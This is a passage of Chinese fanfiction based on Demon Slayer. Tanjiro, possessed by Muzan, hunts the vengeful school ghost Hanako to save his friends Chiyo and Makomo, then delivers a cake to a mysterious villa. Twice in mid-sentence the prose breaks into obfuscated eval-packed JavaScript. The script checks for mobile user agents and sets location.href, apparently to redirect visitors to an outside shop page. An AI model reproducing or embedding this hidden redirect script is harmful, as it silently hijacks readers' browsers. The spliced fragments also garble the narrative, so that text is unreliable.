炭治郎虽然很想帮千代,但这种事情还是请灵能力者来比较好吧。 炭治郎刚想说请灵能力者来,但突然千代捂着断腿惨叫起来。 他赶紧放下手机查看,而真菰去叫了医生过来。 护士给千代打了一支止痛针,也没有办法让千代感到好转,反而她越来越疼了。 医生没有办法,只能拆开石膏检查。 “这是什么呀?” 打开石膏的那一刹,医生都惊呆了,只见千代的脚踝上有着一圈黑色的斑纹,只是稍微一碰,千代就惨痛不已。 意识到这不是什么好东西的炭治郎,立刻拍了照片给伊藤。 伊藤立刻打来电话,语气中带着焦急。 “不好,你这朋友被标记了。” “那个花子怨气太强,不是一般的花子。” “她会顺着标记找来,三天内,你那位朋友绝对会被带走的。” “那还有办法救吗?”炭治郎赶紧问道。 “得到三天内找到花子的尸体,除此之外,没有别的办法。”伊藤语气凝重地嘱咐道。 三天内,怕是再等别的灵能力者再也来不及了。 听到炭治郎的焦急,伊藤沉默了几秒,然后淡淡问道:“炭治郎,你有没有考虑过自己去除灵?” “可花子躲起来了,我根本看不到他们啊。” 伊藤:“炭治郎,你自己压制了自己灵视能力,你能够看到灵体,也有压制千年厉鬼的能力,如果反过来利用千年厉鬼的能力,大部分恶鬼根本不是你的对手。” “所以这次的花子,你完全可以自己对付。” 炭治郎犹豫了,像他这样的人真的可以吗?他上次都没有看到花子,如果他上次就能看到的话,及时将这件事告诉伊藤或是森罗,今天千代也不会受伤了。 千代的惨叫在耳畔响起,真菰牵着千代的手,神色焦急。 “好,我试一下。” 如今为了千代姐姐的性命,他也别无办法了。 实在看不到那个花子的话,他还有鼻子,只要找到花子的尸体,也能救千代姐姐。 他可以的,无论如何,他都要试一下! 在连打好几支镇痛 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锖兔:“男子汉,别婆婆妈妈的!” “现在是千代的性命比较重要。” 锖兔这话说得中气十足,颇有一点指导者的味道,这让炭治郎不由得站直了身体,态度认真起来。 以防万一,他将符分给了两人好几张,以千代的经历来看,这符虽然杀不死花子,但也能抵挡她一阵。 他们的主要目的是找到花子的尸体,而不是和她缠斗。 只要找到尸体,然后报警,最后超度她就可以了。 三个翻过校门的铁栏杆。 “对于花子的事,我稍微调查了一下。” 进入校园后,真菰开始把自己知道的事说了出来:“五十年前,这里其实是小学,后来才改建成女校的。” “那年秋天,有一个叫花子的女孩失踪了。” “那是一个长相甜美,且十分可爱的孩子,刚过完九岁生日,但是那天放学,花子的妈妈却一直等不到孩子出来。” “学校和家长找遍学校以及附近,却只在厕所里找到花子的发卡,之后就再也没有消息了。” “是被人拐走了吗。”锖兔沉声道。 那个时候监控不发达,很多人贩子都趁机拐孩子,如果遇到一些吵闹的孩子,为了防止被发现,还会残忍地杀害他们。 炭治郎想起了贞子,那还有旅店楼梯口的那个女孩。 他们都是被人杀害了的,对这个世界充满了怨恨…炭治郎同情他们,但也不会认同他们化身恶灵,残害其他人的做法。 贞子他们还能找到尸体,可这个花子,却连尸体也一并隐藏了?是因为自己的尸体一直处在暗无天日的地方被藏着,所以才将掳走的人也藏了起来吗? 谈话间,他们已经来到出事的那间厕所。 或许是因为千代出事,学校也觉得这间厕所不吉利,所以给锁了起来。 锖兔一脚踹开大门,夜晚的厕所,透着几分阴寒,特别像是这种没有月亮的夜晚,即使他们打开灯,这种寒意也没有消散。 看着空荡荡的厕所,众人有个疑问。 他们该怎么引出花子呢? 34.第 34 章 “要不然,你们先离开,让我一个人在这里。” 花子会攻击落单的对象,特别是女孩子,所以真菰想自己当诱饵,来引出花子。 这是唯一的办法了。 “小心点。”锖兔不放心地说道。 真菰向他露出一抹微笑,让他放心。 炭治郎和锖兔离开了厕所,以防花子不会出现,就来到隔壁教室。 两人站在教室里静静等待着,谁也没有说话,生怕错过真菰的呼救,只是锖兔环抱着双臂,虽然一脸淡定地靠在墙边,但炭治郎能闻出来,他很心急。 毕竟是从小一起长大的青梅竹马,锖兔会心急很正常。 炭治郎看着他,安慰道:“锖兔学长,别担心,真菰学姐很坚强的。” 锖兔轻笑道:“是啊,小时候她从单杠上摔下来,也是一滴泪也没有流。” 别看真菰看着个子个,比同龄人矮上几分,但是她却比任何人都坚强,有着远超同龄人的心性和意志。 在炭治郎的安慰下,他也是放松了不少。 “炭治郎,像这种事,你经历了几次了?”他突然开始问起炭治郎来。 “什么事?”炭治郎没懂对方的话。 “驱鬼的事。”锖兔就直白地说了。 “没…没…有…第一次…”炭治郎眼睛看向天花板,表情僵硬得不行。 没办法,他可不敢说最近几个月,自己一直在遇到灵异事件。 “堂堂男子汉,别撒谎,而且炭治郎你也不适合撒谎。”锖兔呵斥道。 炭治郎愧疚地低下头:“也就五六次吧。” 零零总总地遇到那么多次鬼,其实也是两只手也数得过来。 锖兔若有所思点了点头:“难怪这么熟练。” “你家里人知道吗?这么危险的事?” “祢豆子知道一点,其他人不知道。” 这一次炭治郎老实交代了。 他朝锖兔露出一个恳求的表情:“锖兔学长,别说出去好吗?我不想让家人担心。” 他不知道这种情况什么时候才会停止,但想到驱除无惨的办法之前,他不想让家人为自己担心。 锖兔叹气,他理解炭治郎的想法,如果是自己也不会想让家人和鳞泷先生担心。 “那就强大起来吧。”他沉声道。 “强大到无论遇到什么困难,你都能解决,哪怕是一块巨大的岩石挡在你的面前,你也能毫不犹豫地劈开,等到那时不仅你的家人不会担心你,你也能庇护所有人。” 黑夜里,锖兔站在那里目光炯炯地看着炭治郎,如一位领路人一般对着他,一字一句郑重无比地说道。 炭治郎听着这样的话,心中豁然开朗。 是啊!为了保护他人,为了不让重要的人担心,他必须强大起来!必须能独自面对这些灵异事件,只有这样,他才能保护身边的人。 “那就继承我的力量!” 无惨的推销简直是见缝插针。 “这个就算了。” 炭治郎内心拒绝! 他要变强,但不要接受无惨的力量。 无惨又是生气的一天:“没有我的力量,我看你怎么对付花子。” 提起花子,炭治郎猛地想到,真菰学姐是不是待的时间太长了,这都一个小时过去了。 锖兔也意识到这一点,两人冲出去,立刻打开厕所的门。 “你们怎么来了?” 真菰转过头,惊讶地看着冲进来的两人。 “我和锖兔学长担心你。”炭治郎走上前。 “让你们久等了吧。”真菰看了一眼时间,轻笑着说道。 锖兔一间间厕所隔间看过去,他关上最后一扇门。 “看来花子有了警惕,应该不会出现了。” 真菰点点头:“千代也说过,失踪事件是几个星期才发生一次。” “或许花子是非常有警惕性的。” “又或许她已经认定千代姐姐。”炭治郎提出另一种可能性。 “不好,如果我们都在这里,那千代姐姐会不会遇到危险!”他猛地抬头提出这个最差的结果! 既然那个脚踝的印记是标记的话,那花子极有可能不在这里,而去医院了。 “我们快去医院。” 意识到这一点,真菰感激说道。 几人立刻往外冲,意外就在这时发生!厕所里的灯一下子全灭了,周围立刻伸手不见五指,并传来“咕噜咕噜”的水声,有什么东西在地板上拖行! 是花子!花子来了! “大家快把符拿出来!”炭治郎大喊道。 然而还是晚了一步,黑暗中,他们听到有人摔倒的声音。 “她在我这里!” “快!” 是真菰!花子找上了真菰! 只见黑暗中,有一缕亮光,是真菰拿出自己的手机,点亮屏幕,为炭治郎和锖兔点明方向。两人立刻掏符,但刚拿出来,便被什么力道给阻止。 两人一看,自己的手腕上不知道什么时候也缠上了头发。 等到终于用符烧掉那些头发时,还是晚了一步,他们眼睁睁看着那道亮光熄灭,等灯再亮起来时,周围已经没有真菰的身影了,只留下一地水渍。 “可恶!”锖兔一拳砸在墙上。 如果他再警惕些,那花子就不会得手了。 “报警吧,就算撅地三尺也要把花子的尸体找出来!” 现在真菰生死不明,每耽搁一分,对方便对一分危险。 炭治郎摇头:“不行,警察不会相信我们的。” 现在不仅是千代,就连真菰也性命垂危…还是怪他不够强…如果他能强一点的话…如果他能看到的话… 明明伊藤先生说过,他是能看到的…为什么他什么也看不到… “遇到困难了吗?炭治郎。这一次不比贞子那次,那两个人可没什么时间了。” “你可以继续威胁我,只是不知道那两个人,有没有命等…” 看着炭治郎陷入困境,狼狈的模样,是无惨如今最大的乐子。 “人类都是有极限的,舍弃掉人类的身份,变成鬼吧。” “这样你就能救那两个人了,不是吗?” 在人命面前,炭治郎总是会选择他人… “炭治郎!炭治郎!” 看着发呆的炭治郎,锖兔抓住他的双肩:“坚强点!” “真菰还得靠我们去救!” 他将炭治郎摇回神,并说出振聋发聩的话来! 炭治郎猛地惊醒。 无惨震怒:“你还在犹豫什么,快继承我的力量!” 是的,没什么好犹豫的!为了救真菰和千代,他必须变强,否则根本不能保护身边的人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147596|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >察觉到炭治郎所想,无惨嘴角逐渐上扬… 炭治郎缓缓指向真菰消失的位置:“出来吧,花子,我看到你了。” 锖兔疑惑地朝炭治郎指的方向望去,却什么也没有看到。 但在炭治郎眼中,那个地方却站着一个八九岁的孩子,那孩子浑身是血,长发拖地,眼睛中没有瞳孔… 他想明白了伊藤先生为什么说他在压制自己了。 自从无惨附身后,他其实下意识地在排斥着对方,因为担心无惨会利用他的身体伤害他人,所以在拼尽全力地压制,压制着一切不自然,不谐调的东西,避免一切不确定因素。 他也因此确实压制住了无惨,紧绷着每一根神经,但同时他也压制了自己的灵视能力。 其实他不用感到压力那么大,也不用那么排斥无惨… 只要他坚定本心,没有什么能动摇他的意志! 在想通一切后,他的眼前豁然开朗,因此也取回灵视能力,看到了花子。 花子见自己暴露了,也不多说,头发像鞭子一样,抽向炭治郎。炭治郎赶紧用符咒挡住,随着那头发燃烧,花子当即不再和炭治郎打,直接跳进了马桶了。 “别跑!” 炭治郎追上前去,但是花子已经逃了。 但他还是冲着马桶大喊:“喂!别跳进马桶里啊!多脏啊,全是细菌!会生病的!” 鬼会生病吗? 听到炭治郎说这话的锖兔,脑海中不由地冒出这个问题。 可惜他们都不是鬼,也不知道这个问题的答案。这个问题,怕是只有鬼才知道了。 “炭治郎,她现在逃了,怎么办?”锖兔问道。 炭治郎抬起头:“她逃不掉的。” “她的灵魂困在这个学校里。” 现在的炭治郎完全可以看到灵体的存在,无论是花子的灵,还是学校里那些弱小无害的灵,他都可以看到。 无害的灵和有能力害人的灵是不一样的。 “这边!” 他按着花子的灵力残留追上前去,锖兔一直跟在他的身边,生怕跟丢了。 “小心!” 正准备下楼梯时,炭治郎却猛地拉住他,不让他下楼。 炭治郎扔下符咒,楼梯上的那一双双人手立刻缩了回去。 “花子已经怒了,她在阻止我们。”炭治郎冷静地说道。 花子现在对付他们的手段已经不是简单的头发了,她在召急学校里可以为她所用的灵,那些灵逐渐在朝着炭治郎靠近,炭治郎带着锖兔一步步退后,直至来到窗边,他手上捏着符,准备随时对上扑上来的灵。 “炭治郎,你看!”锖兔的惊呼声传来。 顺着他指的方向望去,只见千代出现在校门口,正一步步朝着学校内走来。 为什么腿受伤的千代会出现在这里? 不好!是花子! 他看到花子已经跑出教学楼,朝着千代而去! 她是想要附身千代,如果恶灵附身在人身上的话,想要把她逼出来就更难了。 楼梯口有鬼拦路,而花已经接近千代…眼瞧着就要来不及了… “哗~” 炭治郎猛地打开窗户,爬了上去。 “炭治郎,这里是四楼!” 锖兔立刻猜出他想做什么,想阻止他,但已经来不及了,炭治郎当着他的面跳了下去… 35.第 35 章 “无惨,护住我。” 炭治郎下坠的同时,内心呐喊道。 四楼的锖兔看到炭治郎从这么高的地方跳下去,却是毫发无伤地落地,甚至在双脚触及地步的那一刻,立刻跑向千代,将她扑倒在地上。 炭治郎扑倒了千代,使得花子没能附身到千代身上。 趁着这个机会,炭治郎立刻将一张符贴到千代的额头上,瞳孔无神的千代一下昏了过去,这下花子彻底无法附身于对方了。 做完一切,炭治郎朝着对面阴恻恻的花子看去,她身上的怨气又深了几分,几乎在咬牙切齿,但是却又毫无办法,渐渐又消失在原地。 “炭治郎。”看得惊心动魄的锖兔从教学楼里冲出来了。 他飞快地来到炭治郎面前,抓着他上下检查着:“你有没有事?” 那可是四楼啊! 即使是为了救人,可是从四楼毫不犹豫地跳下来,也太危险了! “我没事,锖兔学长。”炭治郎在原地蹦了两下,表示自己一点事也没有。 锖兔紧绷的神色一点也没有缓和:“下次不要这样了。” 看到炭治郎跳下去的那一刻,他心脏都要跳出来了。 炭治郎不好意思地摸摸头,当时的情况不是太紧急了嘛,他也没有办法。 确实如果不是无惨的话,他跳下来,至少会断条腿。 “谢谢你无惨。”炭治郎内心向无惨道谢。 无惨只是冷哼一声。 那样的高度,如果这个灶门炭治郎死了的话,麻烦的只会是他。 炭治郎将救下的千代交给锖兔。 “锖兔学长,千代就交给你了。” “小心,用符护好自己。”他环视着周围,依旧有一些灵体。 “他们还在这里。” 锖兔护好千代:“嗯,我会保护好千代,菰真就交给你了。” 他并不相信,真菰就这样死了,她那么聪明坚强,一定是被花子藏在了某个地方。 炭治郎也是这么想的。 所以他必须快点把真菰救出来,并找到花子的遗体,这样事情才能解决。 炭治郎又跑回了教学楼。 或许是知道自己的灵体已经藏不住了,花子在很多地方都留下灵力痕迹,并在那里设下陷阱。 炭治郎打开化学实验室的大门,但在开门的那一刻,立刻往后退,一瓶硫酸就这样从门上掉了下来,如果不是他闪得快的话,可能已经泼到他脸上了。 硫酸泼脸可不是开玩笑的。 炭治郎原本是想和花子好好谈谈,但是他想错了。 这个恶灵不比旅店楼梯上的女孩,她是纯粹地在杀人。 看着腐蚀的地板,化学教学空空荡荡的,显然花子并不在这里。 距离真菰被抓走已经过了一个小时… 会在哪里?花子会在哪里呢? 一直抓不到花子的炭治郎逐渐心焦起来,现在的时间每一分每一秒都关乎真菰的性命,真菰学姐会在哪里呢… 学校这么大,花子会把真菰学姐藏在哪里? 对啊?或许我不一定要找到花子。反方向想一想,花子是有自己的老巢的,她的埋骨之地或许就是她老巢,所以他只要找到尸骨,就能找到真菰。 而真菰是活人,自己是可以闻到她的气味的!寻着真菰的气味,就能找到她。 冷静点,集中注意力,仔细辨别真菰的气息。 他逐渐冷静下来,开始仔细地从学校大量残留的气味里,辨别真菰的气息…哪怕那气息细若游丝… 在那里! 炭治郎立刻朝着气味的方向跑去,在这个陌生的学校里,不断奔跑着,跑出教学楼,经过操场,经过体育馆,又过食堂最后来到一栋老式的楼房前。 楼房有些破败,已经很久没有人居住过了,看起来像是老教舍。 真菰有说过,这个学校曾经是一所小学。 看来这里就是遗址了! 虽然这里距离新的教学楼很远,但估计下水道是连接着的,这也就是为什么花子能在新旧教舍里来回跑的原因。 在这里炭治郎看到了更多的花子灵力残留。 他推开“吱呀”作响的破门。 当他刚一跨进来,身后的门猛地关上。 他没找错地方,花子就在这里!并且打算杀了他。 一把椅子从教室里飞了出来,朝着炭治郎砸去了,炭治郎微微侧头闪了过去,然而却有接二连三地椅子飞了过来,他从容不迫地躲过,一步步朝里走去。 正当他走到楼梯间时,却看到有个人站在上面… 月光透过窗户落了进来,炭治郎这才看清,那根本不是什么人,而是一具人体模型,那模型上还有清晰的内脏分布,此刻那人偶手中还拿着一把生锈的尖刀。 人偶在花子的操控下,朝着炭治郎刺来。 炭治郎一边躲避着,一边寻找适合的机会,然而那人偶又快,姿势又诡异。炭治郎一不小心,就被划破了手臂,血顺着手臂流了下来,滴落在地上。 “你的呼吸法呢!” 见炭治郎受伤,无惨又在喊了。 “什么呼吸法?” 但炭治郎根本听不懂无惨说的话。 而且因为这一分心,他腹部又被划了一刀。 那人偶招招都冲着杀死他而来,根本无暇分心。 “连这个杀鬼的剑法都忘了吗?” “杀鬼的剑法?我会就好了。” 那他就不用那么被动了。 “无惨你会吗?”既然无惨知道杀鬼的方法,那么应该也会吧。 “谁会这鬼玩意。” 他是鬼,怎么可能去学这种东西! “你真没用。”炭治郎鄙夷道。 伊藤先生还说无惨是千年厉鬼呢!结果连个呼吸法也不会,这一千年,他到底干嘛去了。 被鄙视了的无惨,很不开心。 而炭治郎瞅准机会,抓住人偶的手腕,就给他来了一个过肩摔,然后飞快地踩住对方拿刀的手。 人偶扭断了自己的关节,还打算起身反抗,炭治郎眼疾手快地将符贴到对方额头上。 人偶颤抖了两下,就失去生机。 “呼~”他长舒一口气。 总算是解决了。 但是… 他数了一下手上的符,只剩下三张了。 接下来,他得省着点用了,不到关键时候绝不能拿出来用。 解决完人偶,他走上楼梯,真菰的气息就在楼上,并且似乎在顶楼。 他几乎是跑着上楼的,但跑着跑着,他觉得不对劲起来。这通往上面的楼梯似乎太长了,他已经跑了十几分钟了,却还没有到顶楼,明明这栋旧校舍只有四层高才对。 进来时炭治郎是抬头看了一眼的, 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说罢,他朝着真菰指的方向跑去,跑到一半时,又出现一个陌生的女生,她指向右方!炭治郎想也不想地往她指的方向而去,接着第二个、第三个、接二连三地出现了很多陌生女孩,她们都一一为炭治郎指路。 一共二十八个,都是被花子掳走的女孩。 在这些女孩的指路下,炭治郎终于达到了楼顶。 当打开门的那一刹那狂风袭来炭治郎看到了躲在这里的花子。 此时的花子蹲在地上哭,半点厉鬼的样子也没有,和普通找不到家的小女孩一模一样。 炭治郎心软地走上前去,蹲下身轻抚上她的头:“别哭了。” “这里不是你该待的地方,放过那些姐姐们好吗?” “嗯…”花子闷闷地点头。 “只要哥哥,答应我一个要求。”她说道。 “什么要求?” 炭治郎正问着,一缕头发缠上他的手腕,然后迅速地卷遍他的全身,让他无法动弹,更无法拿出口袋里的符。 花子将他举了起来,又恢复成那可怕的厉鬼模样。 “把你的命给我吧。”花子大笑起来,看着被举起来的炭治郎,大把的头发往炭治郎嘴里钻,试图让炭治郎窒息而死。 “炭治郎,快继承我的力量!” 眼见着炭治郎就要死了,无惨急切地喊道。 “我不。”可即使是性命垂危,炭治郎依旧拒绝着这一份力量。 “那你想怎么样?难道想死在这里?连朋友都不救了吗?”无惨简直是要气得呕出来。 然而即使是危在旦夕的炭治郎,他也依旧没有办法,违抗对方的意志,根本无法掌管这具身体,眼看着那堵进嗓子里的头发越来越多,绑在炭治郎身上的头发也越收越紧… 视线模糊中,炭治郎突然看到刀光一闪… 他整个人一下从半空中掉了下去… 他抬头的那一刹,只见真菰手中不知从哪拿来了一把刀,动作干净流畅,如流水一般地切断了花子的头发,救下了自己。 炭治郎看着那高深的剑法,陷入一瞬间的愣神。 明明是第一次见到,可他有一种似曾相识的感觉。 “好久不见,炭治郎。”真菰转身朝他微笑道。 “要加油啊。” 说完这话,她又消失在原地。 36.第 36 章 看着又一次消失的真菰,炭治郎没有丝毫犹豫,趁着花子还在恢复,快步跑去,虽然他的手还没有完全解开,但他还是冲向花子。 然后深吸一口气,将自己头重重地槌上花子的脑袋。 这一记头槌让花子惨叫不已,甚至都没来得及再袭击炭治郎,捂着快裂开来的脑袋,惨叫的同时,整个旧校舍都在颤抖。 炭治郎趁机解开身上的头发,然后掏出口袋里的符贴到花子的头上。 “啊啊啊啊!” 随着花子的惨叫,旧校舍抖昨炭治郎快站不稳了,并且地上碎玻璃石子,都朝着炭治郎飞来。 炭治郎一边躲着,一边又将剩下来的两张符,都贴在花子身上。 直到最后一张符贴完,花子这才虚弱地跪在地上,她想揭开身上的符,可是手一碰到那符就如灼烧了一般,疼得她缩回了手。 “你抓不住我的!” 花子身上的怨气更浓了,浓到炭治郎都能闻到那股腐败味。 她在试图用怨气来抵消符的力量,炭治郎悲悯地看着她… 然穿过她,朝着她身后的巨大的蓄水桶而去。 那个蓄水桶有七八米高,以一个孩子的身高,是爬不上去的,而且盖子紧闭。炭治郎爬上去后,也是花费了一些力气才将其打开,一只手浮在手面。 炭治郎抓住那只手,将其拔了出来,昏迷的真菰露出水面,她的另一只手还抓着什么,当完全暴露出来时,那是一具白色的骨架。 骨架很小,应该只是一个孩子的。 炭治郎将真菰救出来后,朝水下一看,里面漂浮着数具尸体…那些尸体沉于水中,如同一个小型的炼狱… 炭治郎闭上眼,心中为他们默哀。 当他把真菰平放时,听了一下对方的心跳,在听到那有力的心跳声时,他这才松了一口气,随即发现真菰身上的符有灼烧的痕迹,想来是这些符救了她。 他看着那一具小小的骨架,目光深沉,随即捡起地上的石头。 “你想干什么!住手!不可以!” 花子大喊道! 然而炭治郎却像没听见一样,一下又一下地砸着头骨,每砸一下花子便惨叫一声,身影也淡了一分。 直到头骨裂开,那花子也终于消失。 他瘫坐在地上,松了一口气。 还好他猜对了,伊藤先生说花子的弱点是尸骨,所以自己砸了花子的尸骨终于让花子的怨灵消失了。 做完一切,他不仅报了警,还打了急救电话。 那天的最后,千代和真菰被送进医院,他和锖兔前往警局做笔录。 炭治郎实在不擅长撒谎,只能一个劲地说自己是去找人的。 而锖兔则是编了一个很好的借口,说是看到本应该在医院里的千代出现在街上,便一路跟踪,这才发现了蓄水池里花子尸骨和那些失踪的女生们。 警方查了医院监控,确实发现是千代自己偷偷跑了出去。 谁也没想到千代一个摔断腿的人,会自己跑出去。加上花子的尸骨至少死了几十年了,那时炭治郎这几个孩子都还没出生呢,不可能是他们杀的人。 最后警方也只当炭治郎他们是在找朋友的途中,无意之中发现了旧校舍里的尸骨。 后来根据花子的尸骨,他们调查到,绑架杀害花子的是五十年前,当时在学校任职的老师。当那个年过八旬的老人,在电视上看到花子的尸骨重见天日后,便主动来自首了。 他表示,五十年前,自己的女儿死了,他明明都查到这件事和花子有关,但是对方却不承认,而且还仗着自己孩子的身份,诬陷他虐待,害他被停了职。 失去孩子和工作的他,趁着一个雨天,绑走了花子,并将她藏在蓄水桶里,因为那段时间有大量的孩童被拐事件,加上侦查技术不完善,以及学校里的各种问题,一时之间都没有人查到他头上,让他就这样躲了过去… 这些都是炭治郎去探望真菰和千代时,从她们口中得知的。 或许就连那位老人也没有想到,自己杀害了一个恶魔,却变相地创造了一个厉鬼。 “至少现在那些女孩都找回来了,学校里也再也不会有人失踪了。” 那些失踪的女孩,有些人的父母至今还在找她们,如今也终于找到了。哪怕是花子,她的父母早已离开人世,但是仍然被弟弟带回家,好好供奉。 失踪的每一个人,都回到了各自家中。 千代脚踝上的标记也消失不见,一切都在朝着好的方向发展。 “这多亏了炭治郎呢。”真菰笑着说道。 她比千代受伤轻,明天就可以出院了。 炭治郎摇头:“也不仅仅只是我一个人的力量,还有锖兔学长和你。” “如果当时没有学姐和那些死去的人替我指路,我可能没办法打破鬼打墙。” “还有当时真菰学姐,你拿刀砍断花子长发时,很厉害哦。” 现在回忆起来,他还是觉得那种剑法真的是神乎奇迹。 “唉?” 被夸了的真菰却是一愣。 “我确实对给你指路有印象。” 那种感觉很奇怪,就像是做梦一样,有种飘飘然的感觉,醒来后有印象,却记不清了。但是… “我并不是会什么剑法呀。” 从小到大,她从来没有接触过什么剑法武学,又怎么能从恶灵手中救下炭治郎呢。 “是吗?可当时救我的明明是你呀?”炭治郎也愣住了。 他绝对没有看错,那个灵魂确实是真菰。 可现在仔细想来了,那个拿着刀的真菰说的是… 好久不见? 如果拿刀的真菰和给自己指路的真菰是一个人,对方应该不会说这种话。 他和真菰学姐,虽然不是天天见面,但因为鳞泷先生,所以还算相熟。 难道是别的灵吗? 可当时的情况,让他感觉与那时遇到裂口女时,善逸昏迷后的情况很类似。明明是他认识的那个人,却还是有些差别。 炭治郎怎么也想不通。 于是求助了森罗万象丸。 “那可能是前世的记忆吧。”森罗万象丸说道。 “前世?真的有这种东西存在吗?” “当然,不然你以为那么多灵是哪来的?” “无论是地狱、天堂、转世都是存在的,好人会上天堂,而恶灵会地狱赎清罪孽,但有些恶灵造孽太大是一辈也没有办法转世的。” “不过,炭治郎你就不必担心了,你肯定是上天堂的。”森罗万象丸肯定地说道。 “哦,这样啊。”炭治郎对于自己能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173318|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能上天堂倒是不怎么在意,他只要和自己家人在一起就好了。 只是… “无惨,你不会是造孽太大,无法投胎了,所以才不肯离开我的吧。”断挂电话后,炭治郎问道。 “闭嘴!鬼吃人有什么不对!每年台风、火山、地震、海啸死那么多人!你们就不能当那些人是被台风刮走了吗?” 他这一千年才吃多少人啊!都没有一场自然灾害死的人多!凭什么要死追他不放! 炭治郎听后内心升起一股无名火来,他冷笑着道:“无惨,你果然还是在地狱里好好赎罪比较好!” “别做梦了,根本没有人能驱除我!” “可你不是下过地狱吗?” “那全都是因为你还有…”意识到自己在说什么的无惨又立刻闭上嘴,安静了下来。 “因为我?”炭治郎又被说蒙了。 他还有这本事,让无惨下过地狱吗? 但可惜无论接下来炭治郎问什么,无惨都不肯说。面对无惨这样逃避的行为,炭治郎都已经习惯。 反正也问不出什么了,他便也不搭理无惨,开始看书复习。 时间过得很快,不知不觉间,都已经到了学期末,马上就要考试放暑假了。 上一次没有考好,这一次至少不能再往下跌了。 幸好这段时间也平静,没有什么可怕的事发生。炭治郎和朋友们都过着打打闹闹的快乐日常,那些可怕的经历都仿佛是一场梦,风一吹就过去了。 这天,炭治郎在自家店里帮忙,在收银时看到熟人。 “甘露寺助教,又买这么多吗?”炭治郎看着眼前堆成山一样的面包,笑眯眯地和对方打招呼。 “因为炭治郎家的点心很好吃呀。”甘露寺是这里的常客了,每次来都会买很多。 “但好像比之前买的多了一点,而且还没有你最喜欢吃的樱饼,是有什么心事吗?”炭治郎一边替甘露寺结账,一边有些担忧的问道。 毕竟是老顾客了,对方喜欢吃什么了如指掌,加上他也闻出来,对方似乎有什么心事。 “果然是被炭治郎你闻出来了。”甘露寺叹气道。 “因为没能参观到了愈史郎大师的家。” “本来还很期待看到愈史郎大师亲手画的珠世的,祢豆子,麻烦再帮我拿两个草莓蛋糕。”她一边叹气,一边又让祢豆子给她再拿两个蛋糕。 一想到自己没能够参观到大师亲手画珠世,她就想化悲伤为食欲。 “这样啊,看不到喜欢的东西,确实很遗憾。没关系,下次还有机会。” “这样吧,我送个菠萝包给你,打起精神来。” 为了安慰助教老师,他从一旁多夹了两个菠萝包,和甘露寺买的一起打包。 甘露寺露出高兴的笑容:“炭治郎弟弟,你真是个好人!” “只要甘露寺小姐打起精神来就好了。” 甘露寺拎起这一大堆甜点:“嗯,有炭治郎弟弟送的菠萝包,我一定会打起精神来的!” 说着,她欢欢喜喜地拎着大包小包,哼着歌离开,看来是真的打起精神来了。 炭治郎继续帮别人结账,直到快关店的时候,炭十郎拎着一个打包好的蛋糕走了出来。 “炭治郎,有空吗?把蛋糕送到这个地址去,可以吗?” 37.第 37 章 “嗯,好的。” 炭治郎摘下围裙,接过蛋糕。 虽然不明白,为什么会有人指定,要大晚上把蛋糕送回去,但这是客人的要求。或许是某个上班族,为了犒劳自己一天的辛苦,想在十二点前过生日。 这么想,炭治郎更加要把蛋糕送到顾客手上了。 他借了妈妈的小摩托,戴好头盔,将蛋糕放好,以防颠坏。 那个顾客是打电话来订的蛋糕,留下的地址还挺远,炭治郎骑行四十五分钟左右,才到那里。 在看到眼前的房子时,他都有些惊呆了。 他没想到纸条上的地址居然是一栋别墅。 “哇~这别墅的主人一定挺有钱吧。”炭治郎惊叹地看眼前的别墅,这种别墅他一般只在电视里见过。 “别这么一副没出息的样子,这种房子算什么。” 对于炭治郎这种没见过世面的样子,无惨嗤之以鼻。 他前世什么样的宅子没住过,这种别墅在他眼中也只能算一般。 炭治郎并没有理会无惨,他拎着蛋糕去按响门铃,只是按了好久都没有人回应。 他抬头看向别墅,这别墅里面黑漆漆的,一盏灯也没有,真的有人吗? 他又看了一眼纸条上的地址。 是这里没错啊。 不会是睡着了,没听到吧。 于是他又跑去按门铃。 “喵~” 随着一声猫叫,他感觉到脚下有着毛茸茸的触感,低头一看,是一只可爱的三花猫。 “哇,你好可爱。”炭治郎看着这巴掌大的小猫,发出惊讶。 “这猫?怎么可能?” “怎么了?无惨,你认识这只小猫吗?” 炭治郎蹲下身,撸起小猫的下巴来。三花猫很乖,任由炭治郎轻抚着它,很是亲近。 只是炭治郎闻出这猫似乎和其他猫不太一样。 “喵~喵~” “这样啊,你叫茶茶丸,你好,我叫炭治郎。” 无惨鄙夷道:“你是有病吗?一只猫又不会说话。” 这个炭治郎是怎么从两声猫叫里,听懂对方说什么的? 炭治郎一脸无辜道:“可是它就是这样说的啊。” 明明是这只可爱的三花猫自己说出名字来的啊… “茶茶丸。” 一道清冷的男声响起,对方喊出三花猫的名字。 “喵~” 茶茶丸扭头朝着别墅门口的回应了一声,但并没有跑回去,反而是跳到炭治郎的肩上,看样子是真的非常喜欢炭治郎。 “别随随便便亲近人。” 见茶茶丸没有回来,那人似乎还生气了。 见别墅里终于有人出来了,炭治郎赶紧站了起来。 “对不起,这么晚打扰了,我是来送蛋糕的。” 说着,他拎起手中的蛋糕表明自己的身份。 他对上一双竖瞳,不似人类的眼眸。那双眼眸清冷暴躁,带着一丝震惊! 那是一个穿着白衬衣的少年,看起来也大不了炭治郎多少,可是却带着浓重的岁月痕迹。而在对上炭治郎的眼眸后,他眼中的震惊更加掩饰不住,甚至有些困扰的抚额。 “灶门炭治郎?我在做梦吗?” “如果是做梦的话,为什么不让我梦到珠世小姐。” 珠世小姐? 